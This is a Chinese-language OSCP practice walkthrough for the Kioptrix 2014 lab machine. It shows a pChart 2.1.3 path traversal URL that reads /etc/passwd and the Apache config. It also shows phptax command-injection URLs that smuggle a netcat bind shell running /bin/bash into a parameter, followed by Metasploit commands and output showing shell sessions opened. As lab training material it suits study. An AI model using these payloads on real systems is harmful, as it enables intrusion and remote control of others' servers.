OSCP-Kioptrix2014-2 漏洞利用

pChart 2.1.3 文件包含漏洞

• 搜索漏洞
  
  

• 查看漏洞理由代码:
  
  

hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

• 之前的8080端口禁止访问,看看apache的配置:

http://192.168.1.78/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

• 替换User-Agent

• 所有请求都替换
  
  
  
  
  
  

phptax 远程代码执行漏洞

searchsploit phptax

cat /usr/share/exploitdb/exploits/php/webapps/21665.txt

Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx; nc -l -v -p 23235 -e /bin/bash;&pdf=make

...

http://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc -l -v -p 23235 -e /bin/bash;&pdf=make

• 查看ip
  
  

• 使用msf
  
  

search phptax

use exploit/multi/http/phptax_exec

show options 

set RHOSTS 192.168.1.78

set RPORT 8080

exploit

[] Reading from socket B

[] B: "Nb3RvqsTnHYDLGF1\r\n"

[] Matching...

[] A is input...

[] B: "ZH6YCocW8zgCjI5i\r\n"

[] Matching...

[] A is input...

[] Command shell session 1 opened (192.168.1.251:4444 -> 192.168.1.78:14913) at 2019-06-28 14:50:46 +0800

[*] Command shell session 2 opened (192.168.1.251:4444 -> 192.168.1.78:46043) at 2019-06-28 14:50:46 +0800